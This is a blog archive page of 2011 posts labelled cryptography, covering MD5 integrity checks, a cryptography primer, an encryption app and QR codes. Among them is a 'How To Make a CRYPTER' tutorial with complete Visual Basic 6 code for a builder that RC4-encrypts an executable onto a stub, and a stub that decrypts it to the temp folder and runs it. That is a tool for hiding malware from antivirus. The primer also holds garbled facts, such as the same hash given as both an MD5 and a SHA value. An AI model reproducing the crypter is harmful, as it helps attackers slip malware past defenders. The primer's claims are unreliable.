Related Post

.
Showing posts with label Cryptography. Show all posts
Showing posts with label Cryptography. Show all posts

Tuesday, 13 September 2011

What is MD5 Hash and How to Use it?



In this post I will explain you about one of my favorite and interesting cryptographic algorithm called MD5 (Message-Digest algorithm 5).This algorithm is mainly used to perform file integrity checks undermost circumstances. Here I will not jump into the technical aspects ofthis algorithm, rather will tell you about how to make use of thisalgorithm in your daily life. Before I tell you about how to use MD5, Iwould like to share one of my recent experience which made me startusing MD5 algorithm.

Recently I made some significant changes and updates to my website andas obvious I generated a complete backup of the site on my server. Idownloaded this backup onto my PC and deleted the original one on theserver. But after a few days something went wrong and I wanted torestore the backup that I downloaded. When I tried to restore thebackup I was shocked! The backup file that I used to restore wascorrupted. That means, the backup file that I downloaded onto my PCwasn’t exactly the one that was on my server. The reason is that thereoccured some data loss during the download process. Yes, this dataloss can happen often when a file is downloaded from the Internet. Thefile can be corrupted due to any of the following reasons.

  • Data loss during the download process, due to instability in the Internet connection/server
  • The file can be tampered due to virus infections or
  • Due to Hacker attacks
So whenever you download any valuable data from the Internet itiscompletely necessary that you check the integrity of thedownloadedfile. That is you need to ensure that the downloaded file isexactlythe same as that of the original one. In this scenario the MD5hash canbecome handy. All you have to do is generate MD5 hash (orMD5check-sum) for the intended file on your server. After you downloadthefile onto your PC, again generate MD5 hash for the downloadedfile.Compare these two hashes and if it matches then it means that thefileis downloaded perfectly without any data loss.

A MD5 hash is nothing but a 32 digit hexadicimal number which can be something as follows


A Sample MD5 Hash
e4d909c290d0fb1ca068ffaddf22cbd0

This hash is unique for every file irrespective of it’s size andtype. That means two .exe files with the same size will not have thesame MD5 hash even though they are of same type and size. So MD5hash can be used to uniquely identify a file.


How to use MD5 Hash to check the Integrity of Files? 
Suppose you have a file called backup.tar on yourserver. Before you download, you need to generate MD5 hash for thisfile on your server. To do so use the following command.


For UNIX:


md5sum backup.tar

When you hit ENTER you’ll see something as follows


e4d909c290d0fb1ca068ffaddf22cbd0

This is the MD5 hash for the file backup.tar. Afteryou download this file onto your PC, you can cross check it’s integrityby again re-generating MD5 hash for the downloaded file. If both thehash matches then it means that the file is perfect. Otherwise it meansthat the file is corrupt. To generate the MD5 hash for thedownloaded file on your Windows PC use the following freeware tool

DOWNLOAD IT

I hope you like this post. For further doubts and clarifications please pass your comments. Cheers!
  
SOURCE: My 1st Website

Tuesday, 30 August 2011

How To Make a CRYPTER ?

How To Make a crypter ?
What you will need:
Visual Basic 6 or Visual Basic 6 Portable
A RC4 module
A brain


The RC4 module and Visual Basic 6 Portable will have the download links at the end of this tutorial.

TABLE OF CONTENTS:
1. Introduction
2. Building your crypter
3. Conclusion

1. Introduction

RC4:
In cryptography, RC4 (also known as ARCFOUR or ARC4 meaning Alleged RC4, see below) is the most widely used stream cipher and is used in protocols such as Secure Sockets Layer (SSL) (to protect Internet traffic) and WEP (to secure wireless networks).

Stub:
A method stub or simply stub in software development is a piece of code used to stand in for some other programming functionality. A stub may simulate the behavior of existing code (such as a procedure on a remote machine) or be a temporary substitute for yet-to-be-developed code. Stubs are therefore most useful in porting, distributed computing as well as general software development and testing.

Builder:
A builder is usually the client to make/do something to a file, and it is supposed to go with a stub. The builder usually allows the stub to simulate the behaivor of existing code, and than it makes the file/does something to a file.

2. Building your crypter.

Now, open up Visual Basic 6 or Visual Basic Portable. To make the task easier, open two Visual Basic 6 programs. One is going to be the builder, and one is going to be the stub.

Now, lets start on the builder. Add a RC4 module, and lets go on. First of all, add one label that says "File Path:", a text box right beside "File Path:", a button that says "Browse" or "...", and another button that says "Crypt" or "Build". Now, lets add the CommonDialog control. Add a CommonDialog and name it commondlg. Now, lets double click the button that says "Browse" or "...". Add this code, and I'll explain it.



Code:
With commondlg 'CommonDialog1.
     .Filter = "Executable files | *.exe" 'The file used for crypting. (*.exe)
     .DialogTitle = "Please select a executable file..." 'The title of the dialog.
     .ShowOpen 'Show the dialog.
     End With
     TextBox1.Text = commondlg.FileName 'Make TextBox1.Text as the selected filename.

The With commondlg command calls CommonDialog1.
The .Filter part allows you to choose what files you only want to be selected.
The .DialogTitle command is the title of the dialog (the prompt that tells you which file you want to select for crypting).
The .ShowOpen command shows the dialog.
End With will end CommonDialog1.
And finally, the TextBox1.Text = commondlg.FileName command makes TextBox1.text show the selected filename.

Now, click the button that says "Build" or "Crypt". Add this code. It explains it, so please take time to read what it says.
Code:
Dim sStub As String, sFile As String 'This command will declare the two strings.
Open App.Path & "\stub.exe" For Binary As #1 'Opens up the stub.
sStub = Space(LOF(1)) 'This declares the space.
Get #1, , sStub 'This puts in a space in the file.
Close #1 'This closes the file.

Open TextBox1.Text For Binary As #1 'Opens up the stub.
sFile = Space(LOF(1)) 'This declares the space.
Get #1, , sFile 'This puts a space in the file.
Close #1 'This closes the file.

Open App.Path & "\output.exe" For Binary As #1 'This creates the crypted file as "output.exe".
Put #1, , sStub & FileSplit & RC4(sFile, Pass) 'This adds the option FileSplit and the RC4 option.
Close #1 'This closes the file.

MsgBox ("File crypted successfully!") 'This is the prompt to show the message that the program successfully crypted the file.

Now, you might have an error that will show you that FileSplit and Pass is not declared. To do so, we will add the declarations on the top of the coding.

Code:
Const FileSplit = "<@#@>" 'The file split.
Const Pass = "s0rasRC4Tutorial" 'The RC4 password.

For this tutorial, we will be using "s0rasRC4Tutorial" as the RC4 password.

Now, lets start on the stub. Add the RC4 module, and make a new module called modMain. Add this code in modMain:
Code:
Const FileSplit = "<@#@>" 'The file split.
Const Pass = "s0rasRC4Tutorial" 'The RC4 password; It must be the same as the one on the builder!

Public Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpszOp As String, ByVal lpszFile As String, ByVal lpszParams As String, ByVal LpszDir As String, ByVal FsShowCmd As Long) As Long 'Calls the ShellExecute command.

Public Sub Main() 'The main part of the stub.
Dim sStub As String, sFile As String 'This will declare the strings again, just like we did on the builder.
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Opens up the selected .exe file.
sStub = Space(LOF(1)) 'This will declare the space.
Get #1, , sStub 'This puts a space in the file.
Close #1 'This closes the file.

sFile = Split(sStub, FileSplit)(1) 'This will split the file and the stub.
Open Environ("tmp") & "\decrypted.exe" For Binary As #1 'This will make a decrypted file in the RC4 folder.
Put #1, , RC4(sFile, Pass) 'This will add the RC4 password to the file with the selected RC4 password.

Call ShellExecute(0, vbNullString, Environ("tmp") & "\decrypted.exe", vbNullString, vbNullString, 1) 'Calls the ShellExecute command and drops the decrypted file in the temporary files folder.

End Sub 'This ends "Public Sub Main()".

The code will be teaching you. Once you're done, remove the Form1.

3. Conclusion
I hope you liked this tutorial, and I hope you learned a lot about crypting with RC4!

Visual Basic 6 Portable: http://www.mediafire.com/?tgicg4hn1n5
RC4 module: http://www.freevbcode.com/ShowCode.asp?ID=4398

What is Cryptography? An Intro..!!

This is an article over some common forms of encryption and some examples of what they look like.

Cryptography-
Cryptography is often associated to encryption, or hiding information from others except the desired party. This usually involves having a certain knowledge of the encryption, also known as a key. This has been used for centuries by military and governments to hide and transfer data. For example, In ancient days, One King would shave a subjects head, then tattoo the message on the subjects head. This way the subject did not know what the message was either. Then, after his hair grew back, he would be sent to the other king and his head would be shaved, then when the king had the message, the subject was killed and the message was disposed of. So, step by step this is the general way an encryption works. First, find a viable way to hide the message. Second, Find a safe way to transport the message and, third decrypt the message. Now inside of each step there is a good amount of detail.

Encrypting the message-
There are many common ways to encrypt data. For instance, a shift cipher. In shift cipher you shift each letter a certain amount of letters in the alphabet. EXAMPLE: In a cipher with a key of one, you would switch each letter one letter in the alphabet. So A would become B, and a word like HIDDEN would become IJEEDO. Thus rendering the message illegible. Now the reason you would not want to use a simple shift cipher is because of how easy it is to "crack" the encryption. "Cracking" an encryption is basically brute forcing the key, or by gaining the key through other means such as: Trojans, Social Engineering or one of the other many ways. As for our shift cipher, also known as a "caeser cipher" if it is a shift of three or as ROT-13 if it is a 13 letter shift, It would be very easy to just decrypt the message by hand or to write a simple program that can decrypt the massage in mere moments.


The Difference Between Hashing And Encrypting-
Encryption is a scheme where an plaintext is made into ciphertext using a secure key. The security of the ciphers reside in the key length and decryption process is a difficult without proper knowledge of the key.

As for hashing, The best way to describe a has is a one-way function that compresses arbitrary length strings into fixed short strings. Hashes can be designed using block ciphers using a secret key as a parameter along with the message that has to be hashed or with out them (dedicated hash functions MD4,MD5,SHA-1 etc..).

Here I will describe a few common hashes, Along with why the are not secure, And some examples of what they look like.

MD5 (Message-Digest algorithm 5)-
MD5 was created in 1991 in order to replace the less secure MD4. Although a serious flaw was found in this form of encryption it is still widely used. Cryptographers Suggest the use of more secure algorithms such as SHA-1, or WhirlPool. MD5 is a 128 but hash which makes it rather small and thus makes it vulnerable to the birthday attack (which I will include at the end). The algorithm for MD5 is also open source which makes this form of encryption rather easy to break. Not only those but Md5 hashes are also vulnerable to man-in-the-middle attacks, and gain the first three characters, Enabling easier brute forcing on the hash.

Here are some examples of An MD5 hash:
Hidden: 662f707d5491e9bce8238a6c0be92190
Hellboundhackers: 07113826bfa7f58ef0ccf537ab9b5d0e

And here is the pseudo-code for it

Source: Wikipedia
//Note: All variables are unsigned 32 bits and wrap modulo 2^32 when calculating
var int[64] r, k

//r specifies the per-round shift amounts
r[ 0..15] := {7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22}
r[16..31] := {5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20}
r[32..47] := {4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23}
r[48..63] := {6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21}

//Use binary integer part of the sines of integers (Radians) as constants:
for i from 0 to 63
k[i] := floor(abs(sin(i + 1)) × (2 pow 32))

//Initialize variables:
var int h0 := 0x01234567
var int h1 := 0x89ABCDEF
var int h2 := 0xFEDCBA98
var int h3 := 0x76543210

//Pre-processing:
append "1" bit to message
append "0" bits until message length in bits = 448 (mod 512)
append bit /* bit, not byte */ length of unpadded message as 64-bit little-endian integer to message

//Process the message in successive 512-bit chunks:
for each 512-bit chunk of message
break chunk into sixteen 32-bit little-endian words w[i], 0 = i = 15

//Initialize hash value for this chunk:
var int a := h0
var int b := h1
var int c := h2
var int d := h3

//Main loop:
for i from 0 to 63
if 0 = i = 15 then
f := (b and c) or ((not b) and d)
g := i
else if 16 = i = 31
f := (d and b) or ((not d) and c)
g := (5×i + 1) mod 16
else if 32 = i = 47
f := b xor c xor d
g := (3×i + 5) mod 16
else if 48 = i = 63
f := c xor (b or (not d))
g := (7×i) mod 16

temp := d
d := c
c := b
b := b + leftrotate((a + f + k[i] + w[g]) , r[i])
a := temp

//Add this chunk's hash to result so far:
h0 := h0 + a
h1 := h1 + b
h2 := h2 + c
h3 := h3 + d

var int digest := h0 append h1 append h2 append h3 //(expressed as little-endian)

SHA-1 -
SHA stands for Secure Hash Algorithm. This algorithm makes a 160 but algorithm. SHA-1 is only one of the many SHA-* styles, but it the most common and most secure. Some other SHA styles are: SHA-224, SHA-256, SHA-384, and SHA-512. These make a hash that is the amount of bits in their name. For example, SHA-224 is a 224 bit hash. The reason that this form of encryption is insecure is because a modified version of a collision attack can be performed and through this method you can get up to a quarter of the hash into plaintext. Thus making it cracked in principle.

Here are some examples of SHA hashes:

Hidden- 7acdf85c69cc3c5305456a293524386e
Hellboundhackers- 07113826bfa7f58ef0ccf537ab9b5d0e

SHA-2 and the others have no attacks reported, but SHA-1 has an attack based on a mathematical system that allows it to be cracked. Even though the others have no reported attacks, SHA-3 is in the making. This one will be the standard SHA in 2012, after the competition is over. This competition takes place from 2008-2011.

Common Encryption:

Binary-
Binary is a base-2 "language" used in computing to specify either on (1), or off (0). This was commonly used to make plaintext hidden from most people. Binary uses an 8-bit per character format that is very easily noticed by almost anyone, considering that is consist solely of 0's and 1's. These can be easily broken with a copy of any ASCII chart or a very easily written program. One other reason that it is not used, besides its insecurities, is the fact of how much space it takes to store a binary encryption, and how long it takes to encrypt things into binary. Think of it this way, For every one character of plaintext, there are 8 in binary. This means a relative large file will not only take a long time to encrypt, It will also be a massive file to transfer.

DES -

DES is based on a symmetrical key algorithm that has a 56 bit key. Now this is the chief reason that this form of encryption is so insecure is the rather small size of the key. There are public programs that can break a DES encryption in 22 hours and 15 minutes. These have made the US along with many other countries turn to more secure means of encryption.

Examples:

Hidden: CREAE8aHr13jY
Hellboundhackers: CRNg1HW8ckWJk

Base 64- Base 64 uses 64 printable ASCII characters to encrypt data. The characters are A-Z, a-z, and 0-9. Then The other two vary from OS to OS. Sometimes this also includes a suffix of an = operator. Base 64 is often very easily identified and can easily be deciphered with an easily accessible algorithm to decrypt it.

Hidden: SGlkZGVuIA==
Hellboundhackers: SGVsbGJvdW5kaGFja2Vycw==

And there are many many others.

Creating your own:

So you think you may want to create a more secure encryption method? Well your in for a surprise at how challenging it really is. First you have to come up with your encryption style... rather it be algorithm based or something else. Then, you must decide on transferring the Key and how. This must also be secure. Then on decrypting the cipher.
Well one problem you will face is what is a secure algorithm and what is not. The more advanced the algorithm does not mean a more secure encryption. Also another problem is how fast the program can do the algorithm. An advanced algorithm may be secure, but if it takes three days to decrypt with the key, Is it worth using? And then with the key, there are a few ways to transfer the key safely. One way is like the spy movie, a guy with a briefcase handcuffed to his wrist. A more feasible way would be to meet the person and exchange it. or you could just use a more common encryption method and send it to them in e-mail. Or one last slow way would be to Mail them the key. Either way you must decide how you will keep it secure on the way.

Some common attacks on cryptography:

DoS-
DoS (Denial of Service) attacks are when someone tries to make a service or action incapable of usage. One very unlikely method, But possible, would be cutting the victims internet cable. This renders them incapable of accessing the said source. Although this attack is usually used on a web-server, this can also be used to stop an encryption from ever reaching its intended party. Another way this attack could be carried out would be to send a server a massive amount if request, and keeping the server busy.

Man In The Middle (MITM)-
MITM is where the attacker makes a connection with the host then passes the message to the other host, making them believe that they are talking directly to each other over a private connection although the conversation is controlled solely by the attacker. The attacker then would intercept messages and send new ones.

Birthday Attack-
In this attack you use mathematics to exploit collisions. This is a rather formidable attack because of how efficient it is, especially if the function hold a lot of matches in the psudorandom lookup of matches in collisions.

Cryptanalysis-
cryptanalysis is also known as code breaking or cracking a code. Although this does not necessarily imply encryption, it is one major part of cracking. this form usually excludes attacks such as the ones mentioned above, social engineering, burglary, or keylogging. In the past one way to crack an encryption was to use a frequency analysis, or seeing what type of characters appear most. For instance the letter "E" is the most common in English, and the digraph "TH" is the most common. In practice it relies on as much linguistic knowledge as it does statistics. As encryption got more and more detailed, mathematics became more of a major player in cracking. In modern times the advanced computations in an encryption have made cryptanalysis less of a key player, than in the past when pen-and-paper encryptions were used.
So in order to sum this up, I will use this quote.
"Breaking a cipher simply means finding a weakness in the cipher that can be exploited with a complexity less than brute force. Never mind that brute-force might require 2^128 encryptions; an attack requiring 2^110 encryptions would be considered a break...simply put, a break can just be a certificational weakness: evidence that the cipher does not perform as advertised." (Schneier, 2000).

Cryptinator - A simple Encryption Application

Today i decided to make a program like the following one i saw earlier.
[Image: 43201152623pm.png]

But instead of just copying it exactly, i used a different encryption algorithm (polystairs) and different methods towards generating/compiling a code.

I am not sure what you would have use for this, but for me when ever i need a completely random string i will use this now.

Cryptinator ScreenShot:
[Image: screenshotzu.png]

Saturday, 20 August 2011

What is a QR code ? How to make a QR code ? How to Decrypt a QR code ??

A QR code ( Quick Response) is a specific matrix barcode or two-dimensional code, readable by QR barcode readers and camera phones. The code consists of black modules arranged in a square pattern on a white background. The information encoded can be text, URL or other data. This is How a QR code Looks like





How to Make a QR Code For You ???

Step 1 – Goto http://qrcode.kaywa.com

You can see something like that Select the content type as you wish . if you want to add a Url on QR code select url and add your URL and Press on the size if you want to make Size Small , medium or Large then Press the Generate Button Then You can see some thing like this when you Press the Generate Button

Download the QR code image on Computer . That all you had owned a QR code now
If you want to Decrypt a QR Code ???


Step 1 – goto http://zxing.org/w/decode.jspx

Then you can see something like that
Click Browse and Uplod the picture to the website and you can decrypt it and there are many other methods to decrypt QR code .The Device which to Decrypt QR code are QR barcode readers and camera phones with QR CODE Reader Application on it . in here am showing how to decrypt the QR Code on PC . You take Photos of QR code on your camera and Decrypt with this website too

Twitter Delicious Facebook Digg Stumbleupon Favorites More

Adverts

BannerAd BannerAd BannerAd BannerAd